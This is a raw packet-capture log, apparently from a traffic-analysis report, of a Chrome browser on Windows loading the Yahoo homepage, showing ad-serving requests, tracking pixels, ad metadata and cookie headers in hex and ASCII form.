2024-01-10 23:27:40 UTC	1300	IN	Data Raw: 5c 5c 5c 22 3a 5c 5c 5c 22 47 65 74 20 79 6f 75 72 20 74 61 78 65 73 20 64 6f 6e 65 20 72 69 67 68 74 20 77 69 74 68 20 54 75 72 62 6f 54 61 78 2e 5c 5c 5c 22 2c 5c 5c 5c 22 68 71 49 6d 61 67 65 5c 5c 5c 22 3a 5c 5c 5c 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 61 76 2f 63 75 72 76 65 62 61 6c 6c 2f 61 64 73 2f 70 72 2f 52 45 53 49 5a 45 5f 41 4e 44 5f 43 52 4f 50 2f 31 32 30 30 78 36 32 37 2f 64 62 63 30 38 63 30 33 64 30 39 32 33 39 64 37 32 36 35 32 65 38 32 64 39 34 30 39 62 39 63 31 2e 6a 70 65 67 5c 5c 5c 22 2c 5c 5c 5c 22 68 71 49 6d 61 67 65 48 65 69 67 68 74 5c 5c 5c 22 3a 36 32 37 2c 5c 5c 5c 22 68 71 49 6d 61 67 65 57 69 64 74 68 5c 5c 5c 22 3a 31 32 30 30 2c 5c 5c 5c 22 69 6d 61 67 65 5c 5c 5c 22 3a 5c 5c 5c 22 68 74 74 70 73 Data Ascii: \\\":\\\"Get your taxes done right with TurboTax.\\\",\\\"hqImage\\\":\\\"https://s.yimg.com/av/curveball/ads/pr/RESIZE_AND_CROP/1200x627/dbc08c03d09239d72652e82d9409b9c1.jpeg\\\",\\\"hqImageHeight\\\":627,\\\"hqImageWidth\\\":1200,\\\"image\\\":\\\"https
2024-01-10 23:27:40 UTC	1300	IN	Data Raw: 63 6f 6d 2f 61 76 2f 63 75 72 76 65 62 61 6c 6c 2f 61 64 73 2f 70 72 2f 52 45 53 49 5a 45 5f 41 4e 44 5f 43 52 4f 50 2f 36 32 37 78 36 32 37 2f 36 30 39 61 62 32 61 30 66 66 38 33 37 37 65 63 33 64 61 39 64 32 30 65 32 35 36 63 36 32 38 31 2e 6a 70 65 67 5c 5c 5c 22 2c 5c 5c 5c 22 6f 72 69 67 49 6d 67 48 65 69 67 68 74 5c 5c 5c 22 3a 36 32 37 2c 5c 5c 5c 22 6f 72 69 67 49 6d 67 57 69 64 74 68 5c 5c 5c 22 3a 36 32 37 2c 5c 5c 5c 22 70 61 73 73 54 68 72 6f 75 67 68 46 69 65 6c 64 73 5c 5c 5c 22 3a 7b 5c 5c 5c 22 65 6e 61 62 6c 65 43 6c 69 63 6b 49 64 43 6f 6e 76 41 74 74 72 69 62 75 74 69 6f 6e 5c 5c 5c 22 3a 74 72 75 65 7d 2c 5c 5c 5c 22 73 65 63 48 71 49 6d 61 67 65 5c 5c 5c 22 3a 5c 5c 5c 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 61 76 Data Ascii: com/av/curveball/ads/pr/RESIZE_AND_CROP/627x627/609ab2a0ff8377ec3da9d20e256c6281.jpeg\\\",\\\"origImgHeight\\\":627,\\\"origImgWidth\\\":627,\\\"passThroughFields\\\":{\\\"enableClickIdConvAttribution\\\":true},\\\"secHqImage\\\":\\\"https://s.yimg.com/av
2024-01-10 23:27:40 UTC	1300	IN	Data Raw: 63 64 62 62 63 64 66 30 34 2e 6a 70 65 67 5c 5c 5c 22 2c 5c 5c 5c 22 74 68 75 6d 62 6e 61 69 6c 49 6d 61 67 65 48 65 69 67 68 74 5c 5c 5c 22 3a 31 38 30 2c 5c 5c 5c 22 74 68 75 6d 62 6e 61 69 6c 49 6d 61 67 65 57 69 64 74 68 5c 5c 5c 22 3a 31 38 30 2c 5c 5c 5c 22 75 75 69 64 5c 5c 5c 22 3a 5c 5c 5c 22 34 30 33 35 32 37 35 39 32 34 32 5c 5c 5c 22 7d 5c 5c 6e 5c 22 2c 5c 6e 20 20 20 20 5c 22 72 75 6c 65 73 5c 22 3a 20 7b 5c 6e 20 20 20 20 20 20 5c 22 76 69 65 77 61 62 69 6c 69 74 79 44 65 66 53 74 61 74 69 63 5c 22 3a 20 7b 5c 6e 20 20 20 20 20 20 20 20 5c 22 64 5c 22 3a 20 5c 22 31 5c 22 2c 5c 6e 20 20 20 20 20 20 20 20 5c 22 70 5c 22 3a 20 5c 22 35 30 5c 22 2c 5c 6e 20 20 20 20 20 20 20 20 5c 22 63 5c 22 3a 20 5c 22 31 5c 22 5c 6e 20 20 20 20 20 20 7d 5c Data Ascii: cdbbcdf04.jpeg\\\",\\\"thumbnailImageHeight\\\":180,\\\"thumbnailImageWidth\\\":180,\\\"uuid\\\":\\\"40352759242\\\"}\\n\",\n \"rules\": {\n \"viewabilityDefStatic\": {\n \"d\": \"1\",\n \"p\": \"50\",\n \"c\": \"1\"\n }\
2024-01-10 23:27:40 UTC	1300	IN	Data Raw: 6d 65 6e 74 5b 65 5d 3d 30 29 2c 6e 3d 6e 2e 72 65 70 6c 61 63 65 28 74 5b 65 5d 2c 61 2e 65 6c 65 6d 65 6e 74 5b 65 5d 29 7d 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 28 6e 65 77 20 49 6d 61 67 65 29 2e 73 72 63 3d 65 7d 2c 31 65 33 2a 65 2e 64 2c 6e 29 29 7d 29 7d 77 69 6e 64 6f 77 2e 41 43 54 2e 6c 61 62 73 3d 7b 73 61 76 65 64 3a 7b 69 6e 56 69 65 77 3a 7b 63 6f 6e 74 3a 7b 7d 2c 75 6e 63 6f 6e 74 3a 7b 7d 7d 7d 2c 62 79 49 64 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 65 29 7d 2c 6c 6f 61 64 53 63 72 69 70 74 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 76 61 72 20 6e 2c 6f 3d 5b 5c 22 2e 2f 5c 22 2c 5c 22 68 74 74 70 3a 2f 2f 6c Data Ascii: ment[e]=0),n=n.replace(t[e],a.element[e])}),setTimeout(function(e){(new Image).src=e},1e3*e.d,n))})}window.ACT.labs={saved:{inView:{cont:{},uncont:{}}},byId:function(e){return document.getElementById(e)},loadScript:function(e,t){var n,o=[\"./\",\"http://l
2024-01-10 23:27:40 UTC	1300	IN	Data Raw: 30 5d 2e 74 61 67 7d 2c 67 65 74 20 70 61 67 65 41 64 4d 65 74 61 44 61 74 61 28 29 7b 72 65 74 75 72 6e 20 74 7d 2c 67 65 74 20 63 61 6c 6c 54 6f 41 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 43 2e 67 65 74 41 73 73 65 74 28 5c 22 43 54 41 5c 22 29 3b 72 65 74 75 72 6e 5c 22 5c 22 21 3d 3d 65 3f 65 3a 43 2e 74 61 67 2e 63 61 6c 6c 54 6f 41 63 74 69 6f 6e 7d 2c 67 65 74 20 63 6f 6e 74 61 69 6e 65 72 28 29 7b 76 61 72 20 65 3d 5c 22 5c 22 3b 72 65 74 75 72 6e 20 65 3d 5c 22 5c 22 21 3d 3d 43 2e 67 65 74 41 73 73 65 74 28 5c 22 43 4f 4e 54 41 49 4e 45 52 5c 22 29 3f 43 2e 67 65 74 41 73 73 65 74 28 5c 22 43 4f 4e 54 41 49 4e 45 52 5c 22 29 3a 65 7d 2c 67 65 74 41 73 73 65 74 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 5c 22 5c 22 3b 69 66 28 43 Data Ascii: 0].tag},get pageAdMetaData(){return t},get callToAction(){var e=C.getAsset(\"CTA\");return\"\"!==e?e:C.tag.callToAction},get container(){var e=\"\";return e=\"\"!==C.getAsset(\"CONTAINER\")?C.getAsset(\"CONTAINER\"):e},getAsset:function(e){var t=\"\";if(C

Session ID	Source IP	Source Port	Destination IP	Destination Port
737	192.168.2.4	50590	66.218.87.15	443

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:40 UTC	1659	OUT	POST /p?s=2023538075&t=1704929259538&_I=&_AO=0&_NOL=0&etrg=backgroundPost&outcm=gamMetric&src=unknown&site=fp&partner=none&lang=en-US&region=US&device=desktop&colo=bf1&ads_failure_total=0&ads_fetch_total=0&ads_refresh_total=0&ads_slot_right_failure=0&ads_slot_right_total=0&ads_slot_top_failure=1&ads_slot_top_total=1 HTTP/1.1 Host: noa.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; __gpi=UID=00000db622e915a6:T=1704929235:RT=1704929235:S=ALNI_MY_tixDbe1OsecCZB9Ceu1DyK0X0w; __gads=ID=81b3cad9f2adbcf9:T=1704929259:RT=1704929259:S=ALNI_Mb4lBAMFMwxTb5kps5tTyUw3a3TOw
2024-01-10 23:27:40 UTC	801	IN	HTTP/1.1 200 OK date: Wed, 10 Jan 2024 23:27:40 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" set-cookie: __gads=COOKIECLEANER; domain=noa.yahoo.com; expires=Sat, 22-Nov-1980 20:00:00 GMT; path=/; set-cookie: __gads=COOKIECLEANER; domain=yahoo.com; expires=Sat, 22-Nov-1980 20:00:00 GMT; path=/; set-cookie: __gads=COOKIECLEANER; domain=com; expires=Sat, 22-Nov-1980 20:00:00 GMT; path=/; cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 1 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000
2024-01-10 23:27:40 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port
738	192.168.2.4	50592	172.253.122.156	443

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:40 UTC	2743	OUT	GET /gampad/ads?pvsid=3448363400861391&correlator=4204928572246785&eid=31080125%2C31080256%2C95320408%2C31079784%2C31080127%2C31079527%2C31061691%2C31061692%2C31078663%2C31078665%2C31078668%2C31078670&output=ldjh&gdfp_req=1&vrg=202401030101&ptt=17&impl=fifs&gdpr=0&us_privacy=1YNN&gpp=GPP_ERROR_STRING_EXPECTED_APPLICATION_SECTION_ARRAY&iu_parts=22888152279%2Cus%2Cyhp%2Cmain%2Cdt%2Cus_yhp_main_dt_top_center&enc_prev_ius=%2F0%2F1%2F2%2F3%2F4%2F5&prev_iu_szs=970x250%7C3x1%7C728x90&ifi=6&sfv=1-0-40&fsfs=1&fsbs=1&rcs=1&eri=5&sc=1&cookie_enabled=1&gpic=UID%3D00000db622e915a6%3AT%3D1704929235%3ART%3D1704929235%3AS%3DALNI_MY_tixDbe1OsecCZB9Ceu1DyK0X0w&abxe=1&dt=1704929258522&adxs=147&adys=344&biw=1263&bih=907&scr_x=0&scr_y=0&btvi=0&ucis=3&oid=2&u_his=1&u_h=1024&u_w=1280&u_ah=984&u_aw=1280&u_cd=24&u_sd=1&u_tz=60&dmc=8&bc=31&nvt=1&uach=WyJXaW5kb3dzIiwiMTAuMC4wIiwieDg2IiwiIiwiMTE3LjAuNTkzOC4xMzIiLG51bGwsMCxudWxsLCI2NCIsW1siR29vZ2xlIENocm9tZSIsIjExNy4wLjU5MzguMTMyIl0sWyJOb3Q7QT1CcmFuZCIsIjguMC4wLjAiXSxbIkNocm9taXVtIiwiMTE3LjAuNTkzOC4xMzIiXV0sMF0.&url=https%3A%2F%2Fwww.yahoo.com%2F&rumc=3448363400861391&rume=1&vis=1&psz=1280x280&msz=1280x280&fws=2052&ohw=1263&psts=AOrYGskQrqccn11iLdko544g_wThj00AMOyts0HtiZbjvQaKyFXdR_5E3PUffWlrGn5-m3F4pZuBjTCbkiIep7LEcwb9mbCi7X2phv1ux-_fbw4VICCQ%2CAOrYGslXqzWxZnMwa10HhsoG5C0a%2CAOrYGslXqzWxZnMwa10HhsoG5C0a&ga_vid=1527460430.1704929235&ga_sid=1704929235&ga_hid=1141609210&ga_fc=false&td=1&topics=3&tps=3&htps=10&nt=1&psd=WzE1LFsyLFtbIi8yMjg4ODE1MjI3OS91cy95aHAvbWFpbi9kdC91c195aHBfbWFpbl9kdF90b3BfY2VudGVyIixbXV1dXV0.&dlt=1704929227924&idt=5442&prev_scp=loc%3Dtop_center%26ri%3D1%26y_pgid%3D6%26y_cc%3DUS%26y_cv%3D1%26y_ugd%3D4%26y_cid%3D8YHBJ3BJ0%26y_abt%3Dyhb%26y_expbkt%3D-283_-1143%26y_plcmt%3D206512146%26y_crid%3D206512146%26y_bdp%3D0.12%26y_sz%3D970x250%26y_act%3DheaderBid%26y_bid%3D25082%26y_fp%3Djhbc%26y_ufr%3D1%26y_dp%3D0%26y_dt%3DO%26y_ref%3D1&cust_params=bucket%3Ddrop_heimdall_homepage_control_bucket%252CMimicProviderListv2-copy%252Cseamless%26cobrand%3Dnone%26colo%3Dbf1%26device%3Ddesktop%26lang%3Den-US%26lu%3D0%26region%3DUS%26site%3Dfp%26ver%3Dmegastrm%26pt%3Dhome%26spaceid%3D2023538075%26yrid%3D0gast8pipu9uc%26bka%3D0%26y_bx%3D1&adks=3690920304&frm=20 HTTP/1.1 Host: securepubads.g.doubleclick.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiWocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUlCDusljJC9zb3Oa9XYbfCQkZ3JL7YH2g9T3_iu5VLlNxCSCmx5LU9S1K3N4lo
2024-01-10 23:27:40 UTC	782	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Observe-Browsing-Topics: ?1 Google-LineItem-Id: -2 Google-Creative-Id: -2 Google-MediationGroup-Id: -2 Google-MediationTag-Id: -2 Date: Wed, 10 Jan 2024 23:27:40 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Content-Type: text/plain; charset=UTF-8 X-Content-Type-Options: nosniff Server: cafe X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-01-10 23:27:40 UTC	470	IN	Data Raw: 32 30 65 0d 0a 7b 22 2f 32 32 38 38 38 31 35 32 32 37 39 2f 75 73 2f 79 68 70 2f 6d 61 69 6e 2f 64 74 2f 75 73 5f 79 68 70 5f 6d 61 69 6e 5f 64 74 5f 74 6f 70 5f 63 65 6e 74 65 72 22 3a 5b 22 68 74 6d 6c 22 2c 30 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 30 2c 32 35 30 2c 39 37 30 2c 31 2c 30 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 22 49 44 3d 35 61 32 65 38 31 65 37 62 38 62 34 64 33 65 34 3a 54 3d 31 37 30 34 39 32 39 32 36 30 3a 52 54 3d 31 37 30 34 39 32 39 32 36 30 3a 53 3d 41 4c 4e 49 5f 4d 61 37 48 55 6c 33 69 6d 55 6b 42 59 4a 79 49 73 31 63 43 59 68 70 48 68 4d 55 45 41 22 2c 31 37 33 38 36 32 35 32 36 30 2c 22 2f 22 2c 22 79 61 68 6f 6f 2e 63 6f 6d 22 2c 31 5d 5d 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: 20e{"/22888152279/us/yhp/main/dt/us_yhp_main_dt_top_center":["html",0,null,null,0,250,970,1,0,null,null,null,null,[["ID=5a2e81e7b8b4d3e4:T=1704929260:RT=1704929260:S=ALNI_Ma7HUl3imUkBYJyIs1cCYhpHhMUEA",1738625260,"/","yahoo.com",1]],null,null,null,null,
2024-01-10 23:27:40 UTC	63	IN	Data Raw: 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 31 5d 7d 0a 0a 0d 0a Data Ascii: ,null,null,null,null,null,null,null,null,null,null,null,1]}
2024-01-10 23:27:40 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
739	192.168.2.4	50589	66.218.87.15	443

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:40 UTC	1733	OUT	POST /p?s=2023538075&t=1704929259548&_I=&_AO=0&_NOL=0&etrg=backgroundPost&outcm=gamDebug&src=unknown&site=fp&partner=none&lang=en-US&region=US&device=desktop&colo=bf1&bucket=drop_heimdall_homepage_control_bucket%2CMimicProviderListv2-copy%2Cseamless&rid=0gast8pipu9uc&limitedAds=false&NPA=false&pd=unknown&pt=home&id=sda-MAST-iframe&isRefresh=false&loc=top_center&renderCount=0&status=failed HTTP/1.1 Host: noa.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A1=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A3=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; A1S=d=AQABBLwnn2UCEL4lE3EJC4_XsDYF4itnRV8FEgEBAQF5oGWpZdww0iMA_eMAAA&S=AQAAAlmJI9BM9Ds3H5PEUUyUb6E; cmp=t=1704929229&j=0&u=1YNN; gpp=DBAA; gpp_sid=-1; gam_id=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A; axids=gam=y-3VCllMNE2uK941lO_hRYPiI6O7zC0d4T~A&dv360=eS1NYVNIemxGRTJ1SGNib1U0TjRqSGhmbmt0NkR1Z3RmeH5B&ydsp=y-.smXhtRE2uIwY7KcLYnQSBv7PBGu.poG~A; tbla_id=53c5c39b-02f4-4dea-8999-976531d0f992-tuctc98ad51; __gpi=UID=00000db622e915a6:T=1704929235:RT=1704929235:S=ALNI_MY_tixDbe1OsecCZB9Ceu1DyK0X0w; __gads=ID=81b3cad9f2adbcf9:T=1704929259:RT=1704929259:S=ALNI_Mb4lBAMFMwxTb5kps5tTyUw3a3TOw
2024-01-10 23:27:40 UTC	801	IN	HTTP/1.1 200 OK date: Wed, 10 Jan 2024 23:27:40 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" set-cookie: __gads=COOKIECLEANER; domain=noa.yahoo.com; expires=Sat, 22-Nov-1980 20:00:00 GMT; path=/; set-cookie: __gads=COOKIECLEANER; domain=yahoo.com; expires=Sat, 22-Nov-1980 20:00:00 GMT; path=/; set-cookie: __gads=COOKIECLEANER; domain=com; expires=Sat, 22-Nov-1980 20:00:00 GMT; path=/; cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 1 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000
2024-01-10 23:27:40 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port
740	192.168.2.4	50598	104.18.36.155	443

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:41 UTC	704	OUT	POST /openrtb/pbjs?s=1057986 HTTP/1.1 Host: htlb.casalemedia.com Connection: keep-alive Content-Length: 898 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; CMID=ZZ8n1IPpYMLwQL-F1CLawgAA; CMPS=253; CMPRO=253
2024-01-10 23:27:41 UTC	898	OUT	Data Raw: 7b 22 69 64 22 3a 22 36 31 35 38 31 37 35 34 32 30 34 39 37 31 31 37 31 37 30 34 39 32 39 32 36 30 33 35 34 22 2c 22 73 69 74 65 22 3a 7b 22 70 61 67 65 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 22 7d 2c 22 65 78 74 22 3a 7b 22 73 6f 75 72 63 65 22 3a 22 70 72 65 62 69 64 22 2c 22 69 78 64 69 61 67 22 3a 7b 22 6c 73 22 3a 74 72 75 65 2c 22 6d 66 75 22 3a 30 2c 22 62 75 22 3a 31 2c 22 69 75 22 3a 30 2c 22 6e 75 22 3a 30 2c 22 6f 75 22 3a 30 2c 22 61 6c 6c 75 22 3a 31 2c 22 72 65 6e 22 3a 66 61 6c 73 65 2c 22 76 65 72 73 69 6f 6e 22 3a 22 38 2e 31 33 2e 30 2d 70 72 65 22 2c 22 75 73 65 72 49 64 73 22 3a 5b 5d 2c 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 22 2c 22 76 70 64 22 3a 66 Data Ascii: {"id":"61581754204971171704929260354","site":{"page":"https://www.yahoo.com/"},"ext":{"source":"prebid","ixdiag":{"ls":true,"mfu":0,"bu":1,"iu":0,"nu":0,"ou":0,"allu":1,"ren":false,"version":"8.13.0-pre","userIds":[],"url":"https://www.yahoo.com/","vpd":f
2024-01-10 23:27:41 UTC	887	IN	HTTP/1.1 200 OK Date: Wed, 10 Jan 2024 23:27:41 GMT Content-Type: application/json Content-Length: 51 Connection: close CF-Ray: 8438b12a393e2d24-IAD CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: https://www.yahoo.com Cache-Control: no-cache Expires: 0 Set-Cookie: receive-cookie-deprecation=1; Path=/; Domain=casalemedia.com; Expires=Thu, 09 Jan 2025 23:27:41 GMT; Max-Age=31536000; HttpOnly; Secure; SameSite=None; Partitioned Access-Control-Allow-Credentials: true Pragma: no-cache Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=bJfRgl4JrlC22rbr24yaIzRKnxwiF6B%2BoVQrO4IxdVqWaVgFRS6RBzyfFHqevEndwze1svaOPBrs0zkTcoi3fM3Tk1pzXVeGCugpvDHkfzV3yU3y9M2LafuX2UNHrP5O%2FtAyG5g%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-01-10 23:27:41 UTC	51	IN	Data Raw: 7b 22 69 64 22 3a 22 36 31 35 38 31 37 35 34 32 30 34 39 37 31 31 37 31 37 30 34 39 32 39 32 36 30 33 35 34 22 2c 22 73 65 61 74 62 69 64 22 3a 5b 5d 7d Data Ascii: {"id":"61581754204971171704929260354","seatbid":[]}

Session ID	Source IP	Source Port	Destination IP	Destination Port
741	192.168.2.4	50600	34.111.85.214	443

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:41 UTC	1445	OUT	POST /rtb/yhb?cid=8YHBJ3BJ0 HTTP/1.1 Host: m.hb.yahoo.net Connection: keep-alive Content-Length: 2093 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain Accept: / Origin: https://www.yahoo.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.yahoo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308310180275000V10; data-mn=3479308330180239000V10~~1; usp_status=1; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-zta=968062845637553879~~63; data-son=34d855fd-fbdc-4f5b-9260-4fff223b8b66~~1; data-tlt=3631141743957125218505~~1; data-opx=50996944-41eb-0a14-2f16-7629f8e9c8fd~~1; data-idx=ZZ8n1IPpYMLwQL_F1CLawgAAAP0AAAIB~~1; data-ayl=80df0390ac1a08301112e6851cc561f4~~1; data-sov=H-G_bLZHIhhIpR6ZTj2OFYm3~~1; data-dtm=AAACWBRgpry45AN_rYmFAAAAAAA~~1; data-apx=7367141199740274687~~1; data-pub=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4~~1; data-ctn=3eb4f1d28af642b8a97d60a85e0f7108~~1; data-ylm=VEeMJ__OOM_smh2PNiGG~~1; data-gum=u_0388cd6c-8293-4db4-818a-ce9c7e7530d0~~1; data-sht=316bb570-8374-4683-a0e9-a8b41619214a~~63; data-rhs=WGFTyzcQKewjN8Wy6aUUAIQzRC-OwVzzVQwF9T4mHD8~~63; data-mag=LR8EUG12-1F-5JG4~~63
